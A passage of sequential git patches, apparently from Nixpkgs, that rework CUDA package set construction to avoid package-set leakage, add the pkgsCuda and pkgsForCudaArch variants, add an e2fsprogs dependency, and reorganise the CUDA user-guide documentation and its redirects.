       (import ../development/cuda-modules/aliases.nix { inherit lib; })
     ]
+    ++ _cuda.extensions
   );
 
   cudaPackages = customisation.makeScope newScope (

From a31ffc2ae8d067e2d3a88cb933927ff163fcd128 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Mon, 12 May 2025 21:02:35 +0000
Subject: [PATCH 2755/4511] cudaPackages: fix package set leakage

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit fc2c3507992c3e5c6d9e260f9a727576e553dd0c)
---
 pkgs/top-level/cuda-packages.nix | 46 +++++++++++++++++++++++---------
 1 file changed, 34 insertions(+), 12 deletions(-)

diff --git a/pkgs/top-level/cuda-packages.nix b/pkgs/top-level/cuda-packages.nix
index 72fea9de9ec4..57444cbc3c6f 100644
--- a/pkgs/top-level/cuda-packages.nix
+++ b/pkgs/top-level/cuda-packages.nix
@@ -25,7 +25,7 @@
   _cuda,
   cudaMajorMinorVersion,
   lib,
-  newScope,
+  pkgs,
   stdenv,
 }:
 let
@@ -50,6 +50,36 @@ let
     lib.intersectLists jetsonCudaCapabilities (config.cudaCapabilities or [ ]) != [ ];
   redistSystem = _cuda.lib.getRedistSystem hasJetsonCudaCapability stdenv.hostPlatform.system;
 
+  # We must use an instance of Nixpkgs where the CUDA package set we're building is the default; if we do not, members
+  # of the versioned, non-default package sets may rely on (transitively) members of the default, unversioned CUDA
+  # package set.
+  # See `Using cudaPackages.pkgs` in doc/languages-frameworks/cuda.section.md for more information.
+  pkgs' =
+    let
+      cudaPackagesUnversionedName = "cudaPackages";
+      cudaPackagesMajorVersionName = cudaLib.mkVersionedName cudaPackagesUnversionedName (
+        versions.major cudaMajorMinorVersion
+      );
+      cudaPackagesMajorMinorVersionName = cudaLib.mkVersionedName cudaPackagesUnversionedName cudaMajorMinorVersion;
+    in
+    # If the CUDA version of pkgs matches our CUDA version, we are constructing the default package set and can use
+    # pkgs without modification.
+    if pkgs.cudaPackages.cudaMajorMinorVersion == cudaMajorMinorVersion then
+      pkgs
+    else
+      pkgs.extend (
+        final: _: {
+          __attrsFailEvaluation = true;
+          recurseForDerivations = false;
+          # The CUDA package set will be available as cudaPackages_x_y, so we need only update the aliases for the
+          # minor-versioned and unversioned package sets.
+          # cudaPackages_x = cudaPackages_x_y
+          ${cudaPackagesMajorVersionName} = final.${cudaPackagesMajorMinorVersionName};
+          # cudaPackages = cudaPackages_x
+          ${cudaPackagesUnversionedName} = final.${cudaPackagesMajorVersionName};
+        }
+      );
+
   passthruFunction = final: {
     # NOTE:
     # It is important that _cuda is not part of the package set fixed-point. As described by
@@ -63,22 +93,14 @@ let
 
     inherit cudaMajorMinorVersion;
 
+    pkgs = pkgs';
+
     cudaNamePrefix = "cuda${cudaMajorMinorVersion}";
 
     cudaMajorVersion = versions.major cudaMajorMinorVersion;
     cudaOlder = strings.versionOlder cudaMajorMinorVersion;
     cudaAtLeast = strings.versionAtLeast cudaMajorMinorVersion;
 
-    # Maintain a reference to the final cudaPackages.
-    # Without this, if we use `final.callPackage` and a package accepts `cudaPackages` as an
-    # argument, it's provided with `cudaPackages` from the top-level scope, which is not what we
-    # want. We want to provide the `cudaPackages` from the final scope -- that is, the *current*
-    # scope. However, we also want to prevent `pkgs/top-level/release-attrpaths-superset.nix` from
-    # recursing more than one level here.
-    cudaPackages = final // {
-      __attrsFailEvaluation = true;
-    };
-
     flags =
       cudaLib.formatCapabilities {
         inherit (final.backendStdenv) cudaCapabilities cudaForwardCompat;
@@ -208,7 +230,7 @@ let
     ++ _cuda.extensions
   );
 
-  cudaPackages = customisation.makeScope newScope (
+  cudaPackages = customisation.makeScope pkgs'.newScope (
     fixedPoints.extends composedExtension passthruFunction
   );
 in

From 2817b30b02ef41aa806f4e87b8bc02651a37dede Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Mon, 9 Jun 2025 21:21:24 +0000
Subject: [PATCH 2756/4511] cudaPackages.nsight_systems: add dependency on
 e2fsprogs

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 6afc3ae486b9c35a6a0388b2530545e72443bd36)
---
 pkgs/development/cuda-modules/_cuda/fixups/nsight_systems.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/development/cuda-modules/_cuda/fixups/nsight_systems.nix b/pkgs/development/cuda-modules/_cuda/fixups/nsight_systems.nix
index 5f2319adfb75..823559dfae72 100644
--- a/pkgs/development/cuda-modules/_cuda/fixups/nsight_systems.nix
+++ b/pkgs/development/cuda-modules/_cuda/fixups/nsight_systems.nix
@@ -2,6 +2,7 @@
   boost178,
   cuda_cudart,
   cudaOlder,
+  e2fsprogs,
   gst_all_1,
   lib,
   nss,
@@ -77,6 +78,7 @@ in
     (qt.qtwayland or qt.full)
     boost178
     cuda_cudart.stubs
+    e2fsprogs
     gst_all_1.gst-plugins-base
     gst_all_1.gstreamer
     nss

From 727871feec6d0b145d440c0f2f82807eb1ccfaee Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Mon, 12 May 2025 20:32:46 +0000
Subject: [PATCH 2757/4511] pkgsForCudaArch: init

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit ef768dbd5058d939739ab63592133760c4850515)
---
 pkgs/top-level/variants.nix | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/pkgs/top-level/variants.nix b/pkgs/top-level/variants.nix
index 8465c61da529..1b2f443dfe5e 100644
--- a/pkgs/top-level/variants.nix
+++ b/pkgs/top-level/variants.nix
@@ -95,6 +95,27 @@ self: super: {
     };
   });
 
+  # `pkgsForCudaArch` maps each CUDA capability in _cuda.db.cudaCapabilityToInfo to a Nixpkgs variant configured for
+  # that target system. For example, `pkgsForCudaArch.sm_90a.python3Packages.torch` refers to PyTorch built for the
+  # Hopper architecture, leveraging architecture-specific features.
+  # NOTE: Not every package set is supported on every architecture!
+  # See `Using pkgsForCudaArch` in doc/languages-frameworks/cuda.section.md for more information.
+  pkgsForCudaArch = lib.listToAttrs (
+    lib.map (cudaCapability: {
+      name = self._cuda.lib.mkRealArchitecture cudaCapability;
+      value = nixpkgsFun {
+        config = super.config // {
+          cudaSupport = true;
+          rocmSupport = false;
+          # Not supported by architecture-specific feature sets, so disable for all.
+          # Users can choose to build for family-specific feature sets if they wish.
+          cudaForwardCompat = false;
+          cudaCapabilities = [ cudaCapability ];
+        };
+      };
+    }) (lib.attrNames self._cuda.db.cudaCapabilityToInfo)
+  );
+
   pkgsExtraHardening = nixpkgsFun {
     overlays = [
       (

From 713d3fa595f8cf0a08ef1bf11ff6a88fcbe75b6b Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Tue, 10 Jun 2025 20:07:15 +0000
Subject: [PATCH 2758/4511] pkgsCuda: init

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit d43affbd43c33ac2e27a3a9bfe693bc96373a34e)
---
 pkgs/top-level/variants.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/top-level/variants.nix b/pkgs/top-level/variants.nix
index 1b2f443dfe5e..a86cb4dda830 100644
--- a/pkgs/top-level/variants.nix
+++ b/pkgs/top-level/variants.nix
@@ -95,6 +95,15 @@ self: super: {
     };
   });
 
+  # Full package set with cuda on rocm off
+  # Mostly useful for asserting pkgs.pkgsCuda.torchWithCuda == pkgs.torchWithCuda and similar
+  pkgsCuda = nixpkgsFun {
+    config = super.config // {
+      cudaSupport = true;
+      rocmSupport = false;
+    };
+  };
+
   # `pkgsForCudaArch` maps each CUDA capability in _cuda.db.cudaCapabilityToInfo to a Nixpkgs variant configured for
   # that target system. For example, `pkgsForCudaArch.sm_90a.python3Packages.torch` refers to PyTorch built for the
   # Hopper architecture, leveraging architecture-specific features.

From 4e062a31d6a6619bbce401ec0b59af8c0910627b Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Mon, 12 May 2025 20:50:11 +0000
Subject: [PATCH 2759/4511] doc: add sections for cudaPackages.pkgs, pkgsCuda,
 and pkgsForCudaArch

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 544be187c02e3d5d2632943bfd448cdb692e204b)
---
 doc/languages-frameworks/cuda.section.md | 40 +++++++++++++++++++++++-
 doc/redirects.json                       |  9 ++++++
 2 files changed, 48 insertions(+), 1 deletion(-)

diff --git a/doc/languages-frameworks/cuda.section.md b/doc/languages-frameworks/cuda.section.md
index b4475614748f..cc76c83c0491 100644
--- a/doc/languages-frameworks/cuda.section.md
+++ b/doc/languages-frameworks/cuda.section.md
@@ -111,7 +111,7 @@ final: prev: {
 }
 ```
 
-## Using cudaPackages {#cuda-using-cudapackages}
+## Using `cudaPackages` {#cuda-using-cudapackages}
 
 ::: {.caution}
 A non-trivial amount of CUDA package discoverability and usability relies on the various setup hooks used by a CUDA package set. As a result, users will likely encounter issues trying to perform builds within a `devShell` without manually invoking phases.
@@ -153,6 +153,44 @@ When using `callPackage`, you can choose to pass in a different variant, e.g. wh
 Overriding the CUDA package set used by a package may cause inconsistencies, since the override does not affect dependencies of the package. As a result, it is easy to end up with a package which uses a different CUDA package set than its dependencies. If at all possible, it is recommended to change the default CUDA package set globally, to ensure a consistent environment.
 :::
 
+## Using `cudaPackages.pkgs` {#cuda-using-cudapackages-pkgs}
+
+Each CUDA package set has a `pkgs` attribute, which is a variant of Nixpkgs where the enclosing CUDA package set is made the default CUDA package set. This was done primarily to avoid package set leakage, wherein a member of a non-default CUDA package set has a (potentially transitive) dependency on a member of the default CUDA package set.
+
+::: {.note}
+Package set leakage is a common problem in Nixpkgs and is not limited to CUDA package sets.
+:::
+
+As an added benefit of `pkgs` being configured this way, building a package with a non-default version of CUDA is as simple as accessing an attribute. As an example, `cudaPackages_12_8.pkgs.opencv` provides OpenCV built against CUDA 12.8.
+
+## Using `pkgsCuda` {#cuda-using-pkgscuda}
+
+The `pkgsCuda` attribute set is a variant of Nixpkgs configured with `cudaSupport = true;` and `rocmSupport = false`. It is a convenient way access a variant of Nixpkgs configured with the default set of CUDA capabilities.
+
+## Using `pkgsForCudaArch` {#cuda-using-pkgsforcudaarch}
+
+The `pkgsForCudaArch` attribute set maps CUDA architectures (e.g., `sm_89` for Ada Lovelace or `sm_90a` for architecture-specific Hopper) to Nixpkgs variants configured to support exactly that architecture. As an example, `pkgsForCudaArch.sm_89` is a Nixpkgs variant extending `pkgs` and setting the following values in `config`:
+
+```nix
+{
+  cudaSupport = true;
+  cudaCapabilities = [ "8.9" ];
+  cudaForwardCompat = false;
+}
+```
+
+::: {.note}
+In `pkgsForCudaArch`, the `cudaForwardCompat` option is set to `false` because exactly one CUDA architecture is supported by the corresponding Nixpkgs variant. Furthermore, some architectures, including architecture-specific feature sets like `sm_90a`, cannot be built with forward compatibility.
+:::
+
+::: {.caution}
+Not every version of CUDA supports every architecture!
+
+To illustrate: support for Blackwell (e.g., `sm_100`) was only added in CUDA 12.8. Assume our Nixpkgs' default CUDA package set is to CUDA 12.6. Then the Nixpkgs variant available through `pkgsForCudaArch.sm_100` is useless, since packages like `pkgsForCudaArch.sm_100.opencv` and `pkgsForCudaArch.sm_100.python3Packages.torch` will try to generate code for `sm_100`, an architecture unknown to CUDA 12.6. In such a case, you should use `pkgsForCudaArch.sm_100.cudaPackages_12_8.pkgs` instead (see [Using cudaPackages.pkgs](#cuda-using-cudapackages-pkgs) for more details).
+:::
+
+The `pkgsForCudaArch` attribute set makes it possible to access packages built for a specific architecture without needing to manually call `pkgs.extend` and supply a new `config`. As an example, `pkgsForCudaArch.sm_89.python3Packages.torch` provides PyTorch built for Ada Lovelace GPUs.
+
 ## Running Docker or Podman containers with CUDA support {#cuda-docker-podman}
 
 It is possible to run Docker or Podman containers with CUDA support. The recommended mechanism to perform this task is to use the [NVIDIA Container Toolkit](https://docs.nvidia.com/datacenter/cloud-native/container-toolkit/latest/index.html).
diff --git a/doc/redirects.json b/doc/redirects.json
index 2ffb1a1f05d3..754df4e47cb2 100644
--- a/doc/redirects.json
+++ b/doc/redirects.json
@@ -72,10 +72,19 @@
   "cuda-using-cudapackages": [
     "index.html#cuda-using-cudapackages"
   ],
+  "cuda-using-cudapackages-pkgs": [
+    "index.html#cuda-using-cudapackages-pkgs"
+  ],
   "cuda-using-docker-compose": [
     "index.html#cuda-using-docker-compose",
     "index.html#using-docker-compose"
   ],
+  "cuda-using-pkgscuda": [
+    "index.html#cuda-using-pkgscuda"
+  ],
+  "cuda-using-pkgsforcudaarch": [
+    "index.html#cuda-using-pkgsforcudaarch"
+  ],
   "cuda-writing-tests": [
     "index.html#cuda-writing-tests"
   ],

From 32cc0153bc967f5270fef75a44c33db585e5e344 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Fri, 20 Jun 2025 09:19:28 -0700
Subject: [PATCH 2760/4511] doc: CUDA section fixups

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 18cdc0858ab1a0541e6a1457ea6de2a518069c26)
---
 doc/languages-frameworks/cuda.section.md | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/doc/languages-frameworks/cuda.section.md b/doc/languages-frameworks/cuda.section.md
index cc76c83c0491..24171f229419 100644
--- a/doc/languages-frameworks/cuda.section.md
+++ b/doc/languages-frameworks/cuda.section.md
@@ -8,7 +8,9 @@ Nixpkgs provides a number of CUDA package sets, each based on a different CUDA r
 
 - `cudaPackages_x_y`: A major-minor-versioned package set for a specific CUDA release, where `x` and `y` are the major and minor versions of the CUDA release.
 - `cudaPackages_x`: A major-versioned alias to the major-minor-versioned CUDA package set with the latest widely supported major CUDA release.
-- `cudaPackages`: An alias to the major-versioned alias for the latest widely supported CUDA release. This package set referenced by this alias is also referred to as the "default" CUDA package set. As an example, which is an alias to the most recent variant of `cudaPackages_x`. This is also referred to as the "default" CUDA package set.
+- `cudaPackages`: An unversioned alias to the major-versioned alias for the latest widely supported CUDA release. The package set referenced by this alias is also referred to as the "default" CUDA package set.
+
+While versioned package sets are available (e.g., `cudaPackages_12_2`), it is recommended to use the unversioned `cudaPackages` attribute, as versioned attributes are periodically removed.
 
 Here are two examples to illustrate the naming conventions:
 
@@ -59,7 +61,7 @@ The `cudaForwardCompat` boolean configuration option determines whether PTX supp
 
 ## Configuring CUDA package sets {#cuda-configuring-cuda-package-sets}
 
-CUDA package sets are created by `callPackage`-ing `pkgs/top-level/cuda-packages.nix` with an explicit argument for `cudaMajorMinorVersion`, a string of the form `"<major>.<minor>"` (e.g., `"12.2"`), which informs the CUDA package set tooling which version of CUDA to use. The majority of the CUDA package set tooling is available through the top-level attribute set `_cuda`, a fixed-point which exists apart from any instance of the CUDA package set.
+CUDA package sets are created by `callPackage`-ing `pkgs/top-level/cuda-packages.nix` with an explicit argument for `cudaMajorMinorVersion`, a string of the form `"<major>.<minor>"` (e.g., `"12.2"`), which informs the CUDA package set tooling which version of CUDA to use. The majority of the CUDA package set tooling is available through the top-level attribute set `_cuda`, a fixed-point defined outside the CUDA package sets.
 
 ::: {.caution}
 The `cudaMajorMinorVersion` and `_cuda` attributes are not part of the CUDA package set fixed-point, but are instead provided by `callPackage` from the top-level in the construction of the package set. As such, they must be modified via the package set's `override` attribute.
@@ -73,7 +75,7 @@ As indicated by the underscore prefix, `_cuda` is an implementation detail and n
 The `_cuda` attribute set fixed-point should be modified through its `extend` attribute.
 :::
 
-The `_cuda.fixups` attribute set is a mapping from package name to a `callPackage`-able expression which will be provided to `overrideAttrs` on the result of our generic builder.
+The `_cuda.fixups` attribute set is a mapping from package name (`pname`) to a `callPackage`-able expression which will be provided to `overrideAttrs` on the result of our generic builder.
 
 ::: {.caution}
 Fixups are chosen from `_cuda.fixups` by `pname`. As a result, packages with multiple versions (e.g., `cudnn`, `cudnn_8_9`, etc.) all share a single fixup function (i.e., `_cuda.fixups.cudnn`, which is `pkgs/development/cuda-modules/fixups/cudnn.nix`).
@@ -83,10 +85,10 @@ As an example, you can change the fixup function used for cuDNN for only the def
 
 ```nix
 final: prev: {
-  cudaPackages = prev.cudaPackages.override (prevAttrs: {
-    _cuda = prevAttrs._cuda.extend (
-      _: prevAttrs': {
-        fixups = prevAttrs'.fixups // {
+  cudaPackages = prev.cudaPackages.override (prevArgs: {
+    _cuda = prevArgs._cuda.extend (
+      _: prevAttrs: {
+        fixups = prevAttrs.fixups // {
           cudnn = <your-fixup-function>;
         };
       }
@@ -117,8 +119,6 @@ final: prev: {
 A non-trivial amount of CUDA package discoverability and usability relies on the various setup hooks used by a CUDA package set. As a result, users will likely encounter issues trying to perform builds within a `devShell` without manually invoking phases.
 :::
 
-Nixpkgs makes CUDA package sets available under a number of attributes. While versioned package sets are available (e.g., `cudaPackages_12_2`), it is recommended to use the unversioned `cudaPackages` attribute, which is an alias to the latest version, as versioned attributes are periodically removed.
-
 To use one or more CUDA packages in an expression, give the expression a `cudaPackages` parameter, and in case CUDA support is optional, add a `config` and `cudaSupport` parameter:
 
 ```nix
@@ -150,7 +150,7 @@ When using `callPackage`, you can choose to pass in a different variant, e.g. wh
 ```
 
 ::: {.caution}
-Overriding the CUDA package set used by a package may cause inconsistencies, since the override does not affect dependencies of the package. As a result, it is easy to end up with a package which uses a different CUDA package set than its dependencies. If at all possible, it is recommended to change the default CUDA package set globally, to ensure a consistent environment.
+Overriding the CUDA package set used by a package may cause inconsistencies, since the override affects niether the direct nor transitive dependencies of the package. As a result, it is easy to end up with a package which uses a different CUDA package set than its dependencies. If at all possible, it is recommended to change the default CUDA package set globally, to ensure a consistent environment.
 :::
 
 ## Using `cudaPackages.pkgs` {#cuda-using-cudapackages-pkgs}

From cf0d992bfdd966debe60450d19192aae9f0c7df4 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Wed, 16 Jul 2025 16:07:46 +0000
Subject: [PATCH 2761/4511] doc: introduce CUDA user guide

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit fa4f91662a77f2a2993e5984eeb4be8cc38ff537)
---
 doc/languages-frameworks/cuda.section.md | 32 ++++++++++++++++--------
 doc/redirects.json                       | 13 +++++++---
 2 files changed, 31 insertions(+), 14 deletions(-)

diff --git a/doc/languages-frameworks/cuda.section.md b/doc/languages-frameworks/cuda.section.md
index 24171f229419..d159a23084c9 100644
--- a/doc/languages-frameworks/cuda.section.md
+++ b/doc/languages-frameworks/cuda.section.md
@@ -2,6 +2,8 @@
 
 Compute Unified Device Architecture (CUDA) is a parallel computing platform and application programming interface (API) model created by NVIDIA. It's commonly used to accelerate computationally intensive problems and has been widely adopted for High Performance Computing (HPC) and Machine Learning (ML) applications.
 
+## User Guide {#cuda-user-guide}
+
 Packages provided by NVIDIA which require CUDA are typically stored in CUDA package sets.
 
 Nixpkgs provides a number of CUDA package sets, each based on a different CUDA release. Top-level attributes providing access to CUDA package sets follow these naming conventions:
@@ -19,7 +21,7 @@ Here are two examples to illustrate the naming conventions:
 
 All CUDA package sets include common CUDA packages like `libcublas`, `cudnn`, `tensorrt`, and `nccl`.
 
-## Configuring Nixpkgs for CUDA {#cuda-configuring-nixpkgs-for-cuda}
+### Configuring Nixpkgs for CUDA {#cuda-configuring-nixpkgs-for-cuda}
 
 CUDA support is not enabled by default in Nixpkgs. To enable CUDA support, make sure Nixpkgs is imported with a configuration similar to the following:
 
@@ -59,7 +61,7 @@ Certain CUDA capabilities are not targeted by default, including capabilities be
 
 The `cudaForwardCompat` boolean configuration option determines whether PTX support for future hardware is enabled.
 
-## Configuring CUDA package sets {#cuda-configuring-cuda-package-sets}
+### Modifying CUDA package sets {#cuda-modifying-cuda-package-sets}
 
 CUDA package sets are created by `callPackage`-ing `pkgs/top-level/cuda-packages.nix` with an explicit argument for `cudaMajorMinorVersion`, a string of the form `"<major>.<minor>"` (e.g., `"12.2"`), which informs the CUDA package set tooling which version of CUDA to use. The majority of the CUDA package set tooling is available through the top-level attribute set `_cuda`, a fixed-point defined outside the CUDA package sets.
 
@@ -97,9 +99,9 @@ final: prev: {
 }
 ```
 
-## Extending CUDA package sets {#cuda-extending-cuda-package-sets}
+### Extending CUDA package sets {#cuda-extending-cuda-package-sets}
 
-CUDA package sets are scopes, so they provide the usual `overrideScope` attribute for overriding package attributes (see the note about `cudaMajorMinorVersion` and `_cuda` in [Configuring CUDA package sets](#cuda-configuring-cuda-package-sets)).
+CUDA package sets are scopes, so they provide the usual `overrideScope` attribute for overriding package attributes (see the note about `cudaMajorMinorVersion` and `_cuda` in [Configuring CUDA package sets](#cuda-modifying-cuda-package-sets)).
 
 Inspired by `pythonPackagesExtensions`, the `_cuda.extensions` attribute is a list of extensions applied to every version of the CUDA package set, allowing modification of all versions of the CUDA package set without having to know what they are or find a way to enumerate and modify them explicitly. As an example, disabling `cuda_compat` across all CUDA package sets can be accomplished with this overlay:
 
@@ -113,7 +115,7 @@ final: prev: {
 }
 ```
 
-## Using `cudaPackages` {#cuda-using-cudapackages}
+### Using `cudaPackages` {#cuda-using-cudapackages}
 
 ::: {.caution}
 A non-trivial amount of CUDA package discoverability and usability relies on the various setup hooks used by a CUDA package set. As a result, users will likely encounter issues trying to perform builds within a `devShell` without manually invoking phases.
@@ -153,7 +155,15 @@ When using `callPackage`, you can choose to pass in a different variant, e.g. wh
 Overriding the CUDA package set used by a package may cause inconsistencies, since the override affects niether the direct nor transitive dependencies of the package. As a result, it is easy to end up with a package which uses a different CUDA package set than its dependencies. If at all possible, it is recommended to change the default CUDA package set globally, to ensure a consistent environment.
 :::
 
-## Using `cudaPackages.pkgs` {#cuda-using-cudapackages-pkgs}
+### Nixpkgs CUDA variants {#cuda-nixpkgs-cuda-variants}
+
+Nixpkgs CUDA variants are provided primarily for the convenience of selecting CUDA-enabled packages by attribute path. As an example, the `pkgsForCudaArch` collection of CUDA Nixpkgs variants allows one to access an instantiation of OpenCV with CUDA support for an Ada Lovelace GPU with the attribute path `pkgsForCudaArch.sm_89.opencv`, without needing to modify the `config` provided when importing Nixpkgs.
+
+::: {.caution}
+Nixpkgs variants are not free: they require re-evaluating Nixpkgs. Where possible, import Nixpkgs once, with the desired configuration.
+:::
+
+#### Using `cudaPackages.pkgs` {#cuda-using-cudapackages-pkgs}
 
 Each CUDA package set has a `pkgs` attribute, which is a variant of Nixpkgs where the enclosing CUDA package set is made the default CUDA package set. This was done primarily to avoid package set leakage, wherein a member of a non-default CUDA package set has a (potentially transitive) dependency on a member of the default CUDA package set.
 
@@ -163,11 +173,11 @@ Package set leakage is a common problem in Nixpkgs and is not limited to CUDA pa
 
 As an added benefit of `pkgs` being configured this way, building a package with a non-default version of CUDA is as simple as accessing an attribute. As an example, `cudaPackages_12_8.pkgs.opencv` provides OpenCV built against CUDA 12.8.
 
-## Using `pkgsCuda` {#cuda-using-pkgscuda}
+#### Using `pkgsCuda` {#cuda-using-pkgscuda}
 
 The `pkgsCuda` attribute set is a variant of Nixpkgs configured with `cudaSupport = true;` and `rocmSupport = false`. It is a convenient way access a variant of Nixpkgs configured with the default set of CUDA capabilities.
 
-## Using `pkgsForCudaArch` {#cuda-using-pkgsforcudaarch}
+#### Using `pkgsForCudaArch` {#cuda-using-pkgsforcudaarch}
 
 The `pkgsForCudaArch` attribute set maps CUDA architectures (e.g., `sm_89` for Ada Lovelace or `sm_90a` for architecture-specific Hopper) to Nixpkgs variants configured to support exactly that architecture. As an example, `pkgsForCudaArch.sm_89` is a Nixpkgs variant extending `pkgs` and setting the following values in `config`:
 
@@ -191,7 +201,7 @@ To illustrate: support for Blackwell (e.g., `sm_100`) was only added in CUDA 12.
 
 The `pkgsForCudaArch` attribute set makes it possible to access packages built for a specific architecture without needing to manually call `pkgs.extend` and supply a new `config`. As an example, `pkgsForCudaArch.sm_89.python3Packages.torch` provides PyTorch built for Ada Lovelace GPUs.
 
-## Running Docker or Podman containers with CUDA support {#cuda-docker-podman}
+### Running Docker or Podman containers with CUDA support {#cuda-docker-podman}
 
 It is possible to run Docker or Podman containers with CUDA support. The recommended mechanism to perform this task is to use the [NVIDIA Container Toolkit](https://docs.nvidia.com/datacenter/cloud-native/container-toolkit/latest/index.html).
 
@@ -236,7 +246,7 @@ $ nix run nixpkgs#jq -- -r '.devices[].name' < /var/run/cdi/nvidia-container-too
 all
 ```
 
-### Specifying what devices to expose to the container {#cuda-specifying-what-devices-to-expose-to-the-container}
+#### Specifying what devices to expose to the container {#cuda-specifying-what-devices-to-expose-to-the-container}
 
 You can choose what devices are exposed to your containers by using the identifier on the generated CDI specification. Like follows:
 
@@ -257,7 +267,7 @@ GPU 1: NVIDIA GeForce RTX 2080 SUPER (UUID: <REDACTED>)
 By default, the NVIDIA Container Toolkit will use the GPU index to identify specific devices. You can change the way to identify what devices to expose by using the `hardware.nvidia-container-toolkit.device-name-strategy` NixOS attribute.
 :::
 
-### Using docker-compose {#cuda-using-docker-compose}
+#### Using docker-compose {#cuda-using-docker-compose}
 
 It's possible to expose GPU's to a `docker-compose` environment as well. With a `docker-compose.yaml` file like follows:
 
diff --git a/doc/redirects.json b/doc/redirects.json
index 754df4e47cb2..df30327f660d 100644
--- a/doc/redirects.json
+++ b/doc/redirects.json
@@ -20,9 +20,6 @@
   "cuda": [
     "index.html#cuda"
   ],
-  "cuda-configuring-cuda-package-sets": [
-    "index.html#cuda-configuring-cuda-package-sets"
-  ],
   "cuda-configuring-nixpkgs-for-cuda": [
     "index.html#cuda-configuring-nixpkgs-for-cuda"
   ],
@@ -35,6 +32,13 @@
   "cuda-extending-cuda-package-sets": [
     "index.html#cuda-extending-cuda-package-sets"
   ],
+  "cuda-modifying-cuda-package-sets": [
+    "index.html#cuda-modifying-cuda-package-sets",
+    "index.html#cuda-configuring-cuda-package-sets"
+  ],
+  "cuda-nixpkgs-cuda-variants": [
+    "index.html#cuda-nixpkgs-cuda-variants"
+  ],
   "cuda-package-set-maintenance": [
     "index.html#cuda-package-set-maintenance",
     "index.html#adding-a-new-cuda-release"
@@ -69,6 +73,9 @@
     "index.html#cuda-updating-the-cuda-toolkit",
     "index.html#updating-the-cuda-toolkit"
   ],
+  "cuda-user-guide": [
+    "index.html#cuda-user-guide"
+  ],
   "cuda-using-cudapackages": [
     "index.html#cuda-using-cudapackages"
   ],

From ae4a5ec070142fe7058e68436b6ad53cd2432b2a Mon Sep 17 00:00:00 2001
From: Dan Baker <daniel.n.baker@gmail.com>
Date: Fri, 18 Jul 2025 12:31:39 -0700
Subject: [PATCH 2762/4511] doc: CUDA section fixups

Co-authored-by: Connor Baker <ConnorBaker01@gmail.com>

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 0ff3ee0540ecfd0c57e8006cebe6100007d6f514)
---
 doc/languages-frameworks/cuda.section.md | 30 ++++++++++++------------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/doc/languages-frameworks/cuda.section.md b/doc/languages-frameworks/cuda.section.md
index d159a23084c9..e045bb43b78c 100644
--- a/doc/languages-frameworks/cuda.section.md
+++ b/doc/languages-frameworks/cuda.section.md
@@ -1,18 +1,18 @@
 # CUDA {#cuda}
 
-Compute Unified Device Architecture (CUDA) is a parallel computing platform and application programming interface (API) model created by NVIDIA. It's commonly used to accelerate computationally intensive problems and has been widely adopted for High Performance Computing (HPC) and Machine Learning (ML) applications.
+Compute Unified Device Architecture (CUDA) is a parallel computing platform and application programming interface (API) model created by NVIDIA. It's commonly used to accelerate computationally intensive problems and has been widely adopted for high-performance computing (HPC) and machine learning (ML) applications.
 
 ## User Guide {#cuda-user-guide}
 
 Packages provided by NVIDIA which require CUDA are typically stored in CUDA package sets.
 
-Nixpkgs provides a number of CUDA package sets, each based on a different CUDA release. Top-level attributes providing access to CUDA package sets follow these naming conventions:
+Nixpkgs provides a number of CUDA package sets, each based on a different CUDA release. Top-level attributes that provide access to CUDA package sets follow these naming conventions:
 
 - `cudaPackages_x_y`: A major-minor-versioned package set for a specific CUDA release, where `x` and `y` are the major and minor versions of the CUDA release.
 - `cudaPackages_x`: A major-versioned alias to the major-minor-versioned CUDA package set with the latest widely supported major CUDA release.
 - `cudaPackages`: An unversioned alias to the major-versioned alias for the latest widely supported CUDA release. The package set referenced by this alias is also referred to as the "default" CUDA package set.
 
-While versioned package sets are available (e.g., `cudaPackages_12_2`), it is recommended to use the unversioned `cudaPackages` attribute, as versioned attributes are periodically removed.
+It is recommended to use the unversioned `cudaPackages` attribute. While versioned package sets are available (e.g., `cudaPackages_12_2`), they are periodically removed.
 
 Here are two examples to illustrate the naming conventions:
 
@@ -53,17 +53,17 @@ The majority of CUDA packages are unfree, so either `allowUnfreePredicate` or `a
 
 The `cudaSupport` configuration option is used by packages to conditionally enable CUDA-specific functionality. This configuration option is commonly used by packages which can be built with or without CUDA support.
 
-The `cudaCapabilities` configuration option specifies a list of CUDA capabilities. Packages may use this option to control device code generation to take advantage of architecture-specific functionality, speed up compile times by producing less device code, or slim package closures. As an example, one can build for Ada Lovelace GPUs with `cudaCapabilities = [ "8.9" ];`. If `cudaCapabilities` is not provided, the default value is calculated per-package set, derived from a list of GPUs supported by that version of CUDA. Please consult [supported GPUs](https://en.wikipedia.org/wiki/CUDA#GPUs_supported) for specific cards. Library maintainers should consult [NVCC Docs](https://docs.nvidia.com/cuda/cuda-compiler-driver-nvcc/) and its release notes.
